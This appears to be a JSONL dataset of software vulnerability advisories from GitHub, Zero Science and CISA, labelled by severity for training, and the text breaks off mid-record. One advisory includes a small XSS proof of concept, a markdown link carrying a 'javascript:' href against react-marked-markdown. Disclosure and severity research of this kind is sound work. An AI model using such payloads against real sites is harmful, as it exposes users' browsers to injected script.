-{"id": "3a50204031f08907fbce", "text": "Reflected cross-site scripting in vaadin-menu-bar webjar resources in Vaadin 14\n\nMissing output sanitization in test sources in `org.webjars.bowergithub.vaadin:vaadin-menu-bar` versions 1.0.0 through 1.2.0 (Vaadin 14.0.0 through 14.4.4) allows remote attackers to execute malicious JavaScript in browser by opening crafted URL.", "text_raw": "Reflected cross-site scripting in vaadin-menu-bar webjar resources in Vaadin 14\n\n[Severity: MEDIUM]\n\nMissing output sanitization in test sources in `org.webjars.bowergithub.vaadin:vaadin-menu-bar` versions 1.0.0 through 1.2.0 (Vaadin 14.0.0 through 14.4.4) allows remote attackers to execute malicious JavaScript in browser by opening crafted URL.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "9b2ec5278b3ed2881d0c", "text": "Downloads Resources over HTTP in httpsync\n\nAffected versions of `httpsync` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `httpsync`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in httpsync\n\n[Severity: HIGH]\n\nAffected versions of `httpsync` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `httpsync`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "7200fd26c9c98fa7b73f", "text": "CSRF attack via CORS preflight requests with Spring MVC or Spring WebFlux\n\nSpring Framework, versions 5.2.x prior to 5.2.3 are vulnerable to CSRF attacks through CORS preflight requests that target Spring MVC (spring-webmvc module) or Spring WebFlux (spring-webflux module) endpoints. Only non-authenticated endpoints are vulnerable because preflight requests should not include credentials and therefore requests should fail authentication. However a notable exception to this are Chrome based browsers when using client certificates for authentication since Chrome sends TLS client certificates in CORS preflight requests in violation of spec requirements. No HTTP body can be sent or received as a result of this attack.", "text_raw": "CSRF attack via CORS preflight requests with Spring MVC or Spring WebFlux\n\n[Severity: MEDIUM]\n\nSpring Framework, versions 5.2.x prior to 5.2.3 are vulnerable to CSRF attacks through CORS preflight requests that target Spring MVC (spring-webmvc module) or Spring WebFlux (spring-webflux module) endpoints. Only non-authenticated endpoints are vulnerable because preflight requests should not include credentials and therefore requests should fail authentication. However a notable exception to this are Chrome based browsers when using client certificates for authentication since Chrome sends TLS client certificates in CORS preflight requests in violation of spec requirements. No HTTP body can be sent or received as a result of this attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-21", "split": "train"}
-{"id": "3a3ea3828fb7a1825fca", "text": "Out-of-bounds Read in base64url\n\nVersions of `base64url` before 3.0.0 are vulnerable to to out-of-bounds reads as it allocates uninitialized Buffers when number is passed in input on Node.js 4.x and below.\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "text_raw": "Out-of-bounds Read in base64url\n\n[Severity: MEDIUM]\n\nVersions of `base64url` before 3.0.0 are vulnerable to to out-of-bounds reads as it allocates uninitialized Buffers when number is passed in input on Node.js 4.x and below.\n\n\n## Recommendation\n\nUpdate to version 3.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "2c54b7357991b3cb7090", "text": "Django Directory Traversal via archive.extract\n\nIn Django 2.2 before 2.2.18, 3.0 before 3.0.12, and 3.1 before 3.1.6, the django.utils.archive.extract method (used by \"startapp --template\" and \"startproject --template\") allows directory traversal via an archive with absolute paths or relative paths with dot segments.", "text_raw": "Django Directory Traversal via archive.extract\n\n[Severity: MEDIUM]\n\nIn Django 2.2 before 2.2.18, 3.0 before 3.0.12, and 3.1 before 3.1.6, the django.utils.archive.extract method (used by \"startapp --template\" and \"startproject --template\") allows directory traversal via an archive with absolute paths or relative paths with dot segments.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "d2b638f80805743352e9", "text": "Padding Oracle Attack due to Observable Timing Discrepancy in jose-node-esm-runtime\n\n### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nA patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `>=3.11.4`.\n\nUsers should upgrade to `^3.11.4`.\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.", "text_raw": "Padding Oracle Attack due to Observable Timing Discrepancy in jose-node-esm-runtime\n\n[Severity: MEDIUM]\n\n### Impact\n\n[AES_CBC_HMAC_SHA2 Algorithm](https://tools.ietf.org/html/rfc7518#section-5.2) (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512) decryption would always execute both HMAC tag verification and CBC decryption, if either failed `JWEDecryptionFailed` would be thrown. But a possibly observable difference in timing when padding error would occur while decrypting the ciphertext makes a padding oracle and an adversary might be able to make use of that oracle to decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block).\n\n### Patches\n\nA patch was released which ensures the HMAC tag is verified before performing CBC decryption. The fixed versions are `>=3.11.4`.\n\nUsers should upgrade to `^3.11.4`.\n\n### Credits\nThanks to Morgan Brown of Microsoft for bringing this up and Eva Sarafianou (@esarafianou) for helping to score this advisory.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-19", "split": "train"}
-{"id": "eada5961040289d6a764", "text": "Memory exhaustion in asn1_der\n\nAn issue was discovered in the asn1_der crate before 0.6.2 for Rust. Attackers can trigger memory exhaustion by supplying a large value in a length field.", "text_raw": "Memory exhaustion in asn1_der\n\n[Severity: HIGH]\n\nAn issue was discovered in the asn1_der crate before 0.6.2 for Rust. Attackers can trigger memory exhaustion by supplying a large value in a length field.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b3c945ced7070db3dd96", "text": "Vulnerability in RPKI manifest validation\n\nA vulnerability in RPKI manifest validation exists when objects on the manifest are hidden, or expired objects are replayed. An attacker successfully exploiting this vulnerability could prevent new ROAs from being received or selectively hide ROAs, causing routes to become INVALID.\n\nTo exploit this vulnerability, an attacker would need to perform a man in the middle attack on the TLS connection between the validator and an RRDP repository or perform a man in the middle attack against a rsync-only repository.\n\nThe update addresses the vulnerability by implementing validation methods from [RFC 6486bis](https://datatracker.ietf.org/doc/draft-ietf-sidrops-6486bis/00/) and enabling strict validation by default.", "text_raw": "Vulnerability in RPKI manifest validation\n\n[Severity: HIGH]\n\n\nA vulnerability in RPKI manifest validation exists when objects on the manifest are hidden, or expired objects are replayed. An attacker successfully exploiting this vulnerability could prevent new ROAs from being received or selectively hide ROAs, causing routes to become INVALID.\n\nTo exploit this vulnerability, an attacker would need to perform a man in the middle attack on the TLS connection between the validator and an RRDP repository or perform a man in the middle attack against a rsync-only repository.\n\nThe update addresses the vulnerability by implementing validation methods from [RFC 6486bis](https://datatracker.ietf.org/doc/draft-ietf-sidrops-6486bis/00/) and enabling strict validation by default.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-13", "split": "train"}
-{"id": "f5c6513313c51580259c", "text": "actionpack Improper Input Validation vulnerability\n\n`actionpack/lib/action_view/lookup_context.rb` in Action View in Ruby on Rails 3.x before 3.2.16 and 4.x before 4.0.2 allows remote attackers to cause a denial of service (memory consumption) via a header containing an invalid MIME type that leads to excessive caching.", "text_raw": "actionpack Improper Input Validation vulnerability\n\n[Severity: MEDIUM]\n\n`actionpack/lib/action_view/lookup_context.rb` in Action View in Ruby on Rails 3.x before 3.2.16 and 4.x before 4.0.2 allows remote attackers to cause a denial of service (memory consumption) via a header containing an invalid MIME type that leads to excessive caching.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "3efbdd773625ed60c881", "text": "Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass", "text_raw": "Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2018-03-10", "split": "train"}
-{"id": "848e2eb64e5538ba33b3", "text": "Cross-site Scripting in LibreNMS\n\nLibreNMS through 21.10.2 allows XSS via a widget title.", "text_raw": "Cross-site Scripting in LibreNMS\n\n[Severity: MEDIUM]\n\nLibreNMS through 21.10.2 allows XSS via a widget title.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "227864ef0cca53064e31", "text": "Remote code execution in Kramdown\n\nKramdown before 2.3.1 does not restrict Rouge formatters to the Rouge::Formatters namespace, and thus arbitrary classes can be instantiated.", "text_raw": "Remote code execution in Kramdown\n\n[Severity: HIGH]\n\nKramdown before 2.3.1 does not restrict Rouge formatters to the Rouge::Formatters namespace, and thus arbitrary classes can be instantiated.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "52070a37e59e50d85e69", "text": "Improper Access Control in jupyterhub-firstuseauthenticator\n\n### Impact\n\nWhen JupyterHub is used with FirstUseAuthenticator, the vulnerability allows unauthorized access to any user's account if `create_users=True` and the username is known or guessed.\n\n### Patches\n\nUpgrade to jupyterhub-firstuseauthenticator to 1.0, or apply patch https://github.com/jupyterhub/firstuseauthenticator/pull/38.patch\n\n### Workarounds\n\nIf you cannot upgrade, there is no complete workaround, but it can be mitigated.\n\nIf you cannot upgrade yet, you can disable user creation with `c.FirstUseAuthenticator.create_users = False`, which will only allow login with fully normalized usernames for already existing users prior to jupyterhub-firstuserauthenticator 1.0. If any users have never logged in with their normalized username (i.e. lowercase), they will still be vulnerable until you can patch or upgrade.", "text_raw": "Improper Access Control in jupyterhub-firstuseauthenticator\n\n[Severity: CRITICAL]\n\n### Impact\n\nWhen JupyterHub is used with FirstUseAuthenticator, the vulnerability allows unauthorized access to any user's account if `create_users=True` and the username is known or guessed.\n\n### Patches\n\nUpgrade to jupyterhub-firstuseauthenticator to 1.0, or apply patch https://github.com/jupyterhub/firstuseauthenticator/pull/38.patch\n\n### Workarounds\n\nIf you cannot upgrade, there is no complete workaround, but it can be mitigated.\n\nIf you cannot upgrade yet, you can disable user creation with `c.FirstUseAuthenticator.create_users = False`, which will only allow login with fully normalized usernames for already existing users prior to jupyterhub-firstuserauthenticator 1.0. If any users have never logged in with their normalized username (i.e. lowercase), they will still be vulnerable until you can patch or upgrade.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-28", "split": "train"}
-{"id": "96301150685448628ae7", "text": "Memory corruption in smallvec\n\nAttempting to call grow on a spilled SmallVec with a value less than the current capacity causes corruption of memory allocator data structures. An attacker that controls the value passed to grow may exploit this flaw to obtain memory contents or gain remote code execution.", "text_raw": "Memory corruption in smallvec\n\n[Severity: CRITICAL]\n\nAttempting to call grow on a spilled SmallVec with a value less than the current capacity causes corruption of memory allocator data structures. An attacker that controls the value passed to grow may exploit this flaw to obtain memory contents or gain remote code execution.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6684230a512daac32413", "text": "Arbitrary Code Injection in pouchdb\n\nAffected versions of `pouchdb` do not properly sandbox the code execution engine which executes the map/reduce functions for temporary views and design documents. Under certain circumstances, an attacker could uses this to run arbitrary code on the server.\n\n## Recommendation\n\nUpdate to version 6.0.5 or later.", "text_raw": "Arbitrary Code Injection in pouchdb\n\n[Severity: CRITICAL]\n\nAffected versions of `pouchdb` do not properly sandbox the code execution engine which executes the map/reduce functions for temporary views and design documents. Under certain circumstances, an attacker could uses this to run arbitrary code on the server.\n\n\n## Recommendation\n\nUpdate to version 6.0.5 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "7c41bae9fdbdf7c06250", "text": "Cross-Site Scripting in react-marked-markdown\n\nAll versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n<MarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/>,\ndocument.getElementById('root')\n)\n```\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.", "text_raw": "Cross-Site Scripting in react-marked-markdown\n\n[Severity: HIGH]\n\nAll versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`\n\nProof of concept:\n\n```\nimport React from 'react'\nimport ReactDOM from 'react-dom'\nimport { MarkdownPreview } from 'react-marked-markdown'\n\nReactDOM.render(\n<MarkdownPreview\nmarkedOptions={{ sanitize: true }}\nvalue={'[XSS](javascript: alert`1`)'}\n/>,\ndocument.getElementById('root')\n)\n```\n\n\n## Recommendation\n\nNo fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "800e64df46312758eab0", "text": "Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover", "text_raw": "Eibiz i-Media Server Digital Signage 3.8.0 Remote Privilege Escalation / Account Takeover\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2020-08-21", "split": "train"}
-{"id": "319e0255094da67d972d", "text": "Downloads Resources over HTTP in windows-iedriver\n\nAffected versions of `windows-iedriver` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-iedriver`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in windows-iedriver\n\n[Severity: HIGH]\n\nAffected versions of `windows-iedriver` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `windows-iedriver`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "a7a9a799a68ec079d71b", "text": "Cisco IOS XR Software Discovery Protocol Format String Vulnerability\n\nAffected: Cisco IOS XR\n\nCisco IOS XR improperly validates string input from certain fields in Cisco Discovery Protocol messages. Exploitation could allow an unauthenticated, adjacent attacker to execute code with administrative privileges or cause a reload on an affected device.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-134\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco IOS XR Software Discovery Protocol Format String Vulnerability\n\nAffected: Cisco IOS XR\n\nCisco IOS XR improperly validates string input from certain fields in Cisco Discovery Protocol messages. Exploitation could allow an unauthenticated, adjacent attacker to execute code with administrative privileges or cause a reload on an affected device.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-134\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "edfd27de28c348586939", "text": "cloudpub-redis downloads Resources over HTTP\n\nAffected versions of `cloudpub-redis` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `cloudpub-redis`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "cloudpub-redis downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `cloudpub-redis` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `cloudpub-redis`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "96a661e40621e30edfa4", "text": "Cross-site scripting in Apache Ranger\n\nPolicy import functionality in Apache Ranger 0.7.0 to 1.2.0 is vulnerable to a cross-site scripting issue. Upgrade to 2.0.0 or later version of Apache Ranger with the fix.", "text_raw": "Cross-site scripting in Apache Ranger\n\n[Severity: MEDIUM]\n\nPolicy import functionality in Apache Ranger 0.7.0 to 1.2.0 is vulnerable to a cross-site scripting issue. Upgrade to 2.0.0 or later version of Apache Ranger with the fix.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-16", "split": "train"}
-{"id": "9175862db7e1a35fb511", "text": "Command injection in node-dns-sync\n\ndns-sync through 0.2.0 allows execution of arbitrary commands . This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.", "text_raw": "Command injection in node-dns-sync\n\n[Severity: HIGH]\n\ndns-sync through 0.2.0 allows execution of arbitrary commands . This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-28", "split": "train"}
-{"id": "555f4801c38ec4a698d2", "text": "Path Traversal in LibreNMS\n\nAn issue was discovered in LibreNMS 1.50.1. An authenticated user can perform a directory traversal attack against the /pdf.php file with a partial filename in the report parameter, to cause local file inclusion resulting in code execution.", "text_raw": "Path Traversal in LibreNMS\n\n[Severity: HIGH]\n\nAn issue was discovered in LibreNMS 1.50.1. An authenticated user can perform a directory traversal attack against the /pdf.php file with a partial filename in the report parameter, to cause local file inclusion resulting in code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "1abcd5067126340dcb42", "text": "Embedded malware in rc\n\nThe npm package `rc` had versions published with malicious code. Users of affected versions (1.2.9, 1.3.9, and 2.3.9) should downgrade to 1.2.8 as soon as possible and check their systems for suspicious activity.\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Embedded malware in rc\n\n[Severity: CRITICAL]\n\nThe npm package `rc` had versions published with malicious code. Users of affected versions (1.2.9, 1.3.9, and 2.3.9) should downgrade to 1.2.8 as soon as possible and check their systems for suspicious activity.\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-04", "split": "train"}
-{"id": "fb99aa60fb446ecb053b", "text": "XML External Entity Reference in Apache Jena\n\nA vulnerability in XML processing in Apache Jena, in versions up to 4.1.0, may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server.", "text_raw": "XML External Entity Reference in Apache Jena\n\n[Severity: HIGH]\n\nA vulnerability in XML processing in Apache Jena, in versions up to 4.1.0, may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "8664b4f3220539b68a19", "text": "docuFORM Mercury WebApp 6.16a/5.20 Multiple Cross-Site Scripting Vulnerabilities", "text_raw": "docuFORM Mercury WebApp 6.16a/5.20 Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2011-04-20", "split": "train"}
-{"id": "ce01e90b7033f48507b6", "text": "Crash due to malformed relay protocol message\n\n### Impact\n\n1. `syncthing` can be caused to crash and exit if sent a malformed relay\n   protocol message message with a negative length field.\n\n2. The relay server `strelaysrv` can be caused to crash and exit if sent\n   a malformed relay protocol message with a negative length field.\n\nAt no point is sensitive data exposed or liable to be altered due to this\nissue. Sensitive data is never exposed to relay operators. Syncthing itself\nwould need to be lured to connect to a malicious relay server in order to\nexploit the issue.\n\n### Patches\n\nFixed in version 1.15.0.\n\n### Workarounds\n\n1. No known workaround for `strelaysrv`.\n\n2. `syncthing` can be configured to not use relays, or to only use specific,\n   trusted relays. If Syncthing is used in a closed environment or with\n   relaying disabled, i.e., it does not communicate with unknown relays,\n   Syncthing is not vulnerable.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please discuss it [on the forum](https://forum.syncthing.net/).\n\nThanks to Wojciech Paciorek for discovering and reporting this issue.", "text_raw": "Crash due to malformed relay protocol message\n\n[Severity: LOW]\n\n### Impact\n\n1. `syncthing` can be caused to crash and exit if sent a malformed relay\n   protocol message message with a negative length field.\n\n2. The relay server `strelaysrv` can be caused to crash and exit if sent\n   a malformed relay protocol message with a negative length field.\n\nAt no point is sensitive data exposed or liable to be altered due to this\nissue. Sensitive data is never exposed to relay operators. Syncthing itself\nwould need to be lured to connect to a malicious relay server in order to\nexploit the issue.\n\n### Patches\n\nFixed in version 1.15.0.\n\n### Workarounds\n\n1. No known workaround for `strelaysrv`.\n\n2. `syncthing` can be configured to not use relays, or to only use specific,\n   trusted relays. If Syncthing is used in a closed environment or with\n   relaying disabled, i.e., it does not communicate with unknown relays,\n   Syncthing is not vulnerable.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please discuss it [on the forum](https://forum.syncthing.net/).\n\nThanks to Wojciech Paciorek for discovering and reporting this issue.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "47a1c7d8ae97723317be", "text": "Improper Encoding or Escaping of Output and Injection in LibreNMS\n\nAn issue was discovered in LibreNMS 1.50.1. The scripts that handle graphing options (includes/html/graphs/common.inc.php and includes/html/graphs/graphs.inc.php) do not sufficiently validate or encode several fields of user supplied input. Some parameters are filtered with mysqli_real_escape_string, which is only useful for preventing SQL injection attacks; other parameters are unfiltered. This allows an attacker to inject RRDtool syntax with newline characters via the html/graph.php and html/graph-realtime.php scripts. RRDtool syntax is quite versatile and an attacker could leverage this to perform a number of attacks, including disclosing directory structure and filenames, disclosing file content, denial of service, or writing arbitrary files. NOTE, relative to CVE-2019-10665, this requires authentication and the pathnames differ.", "text_raw": "Improper Encoding or Escaping of Output and Injection in LibreNMS\n\n[Severity: HIGH]\n\nAn issue was discovered in LibreNMS 1.50.1. The scripts that handle graphing options (includes/html/graphs/common.inc.php and includes/html/graphs/graphs.inc.php) do not sufficiently validate or encode several fields of user supplied input. Some parameters are filtered with mysqli_real_escape_string, which is only useful for preventing SQL injection attacks; other parameters are unfiltered. This allows an attacker to inject RRDtool syntax with newline characters via the html/graph.php and html/graph-realtime.php scripts. RRDtool syntax is quite versatile and an attacker could leverage this to perform a number of attacks, including disclosing directory structure and filenames, disclosing file content, denial of service, or writing arbitrary files. NOTE, relative to CVE-2019-10665, this requires authentication and the pathnames differ.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-11", "split": "train"}
-{"id": "03f85081eb2236ee2b9e", "text": "Open Redirect in httpie\n\nAll versions of the HTTPie package prior to version 1.0.3 are vulnerable to Open Redirect that allows an attacker to write an arbitrary file with supplied filename and content to the current directory, by redirecting a request from HTTP to a crafted URL pointing to a server in his or hers control.", "text_raw": "Open Redirect in httpie\n\n[Severity: HIGH]\n\nAll versions of the HTTPie package prior to version 1.0.3 are vulnerable to Open Redirect that allows an attacker to write an arbitrary file with supplied filename and content to the current directory, by redirecting a request from HTTP to a crafted URL pointing to a server in his or hers control.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-27", "split": "train"}
-{"id": "c25600b847ae18f59b00", "text": "Cross-site scripting in bootstrap-select\n\nbootstrap-select before 1.13.6 allows Cross-Site Scripting (XSS). It does not escape title values in OPTION elements. This may allow attackers to execute arbitrary JavaScript in a victim's browser.", "text_raw": "Cross-site scripting in bootstrap-select\n\n[Severity: MEDIUM]\n\nbootstrap-select before 1.13.6 allows Cross-Site Scripting (XSS). It does not escape title values in OPTION elements. This may allow attackers to execute arbitrary JavaScript in a victim's browser.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "043e798bbac7de735e75", "text": "Cross-Site Scripting in highcharts\n\nVersions of `highcharts` prior to 7.2.2 or 8.1.1 are vulnerable to Cross-Site Scripting (XSS).  The package fails to sanitize `href` values and does not restrict URL schemes, allowing attackers to execute arbitrary JavaScript in a victim's browser if they click the link.", "text_raw": "Cross-Site Scripting in highcharts\n\n[Severity: HIGH]\n\nVersions of `highcharts` prior to 7.2.2 or 8.1.1 are vulnerable to Cross-Site Scripting (XSS).  The package fails to sanitize `href` values and does not restrict URL schemes, allowing attackers to execute arbitrary JavaScript in a victim's browser if they click the link.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-08-25", "split": "train"}
-{"id": "5d1e362165da282dab0e", "text": "Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks.  Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created.\n\nThis logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur.\n\nBy first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.\n\nThis issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.\n\n### Patches\n\n3.2.3 || 4.4.15 || 5.0.7 || 6.1.2\n\n### Workarounds\n\nUsers may work around this vulnerability without upgrading by creating a custom `filter` method which prevents the extraction of symbolic links.\n\n```js\nconst tar = require('tar')\n\ntar.x({\n  file: 'archive.tgz',\n  filter: (file, entry) => {\n    if (entry.type === 'SymbolicLink') {\n      return false\n    } else {\n      return true\n    }\n  }\n})\n```\n\nUsers are encouraged to upgrade to the latest patch versions, rather than attempt to sanitize tar input themselves.", "text_raw": "Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning\n\n[Severity: HIGH]\n\n### Impact\n\nArbitrary File Creation, Arbitrary File Overwrite, Arbitrary Code Execution\n\n`node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks.  Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created.\n\nThis logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur.\n\nBy first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite.\n\nThis issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.\n\n### Patches\n\n3.2.3 || 4.4.15 || 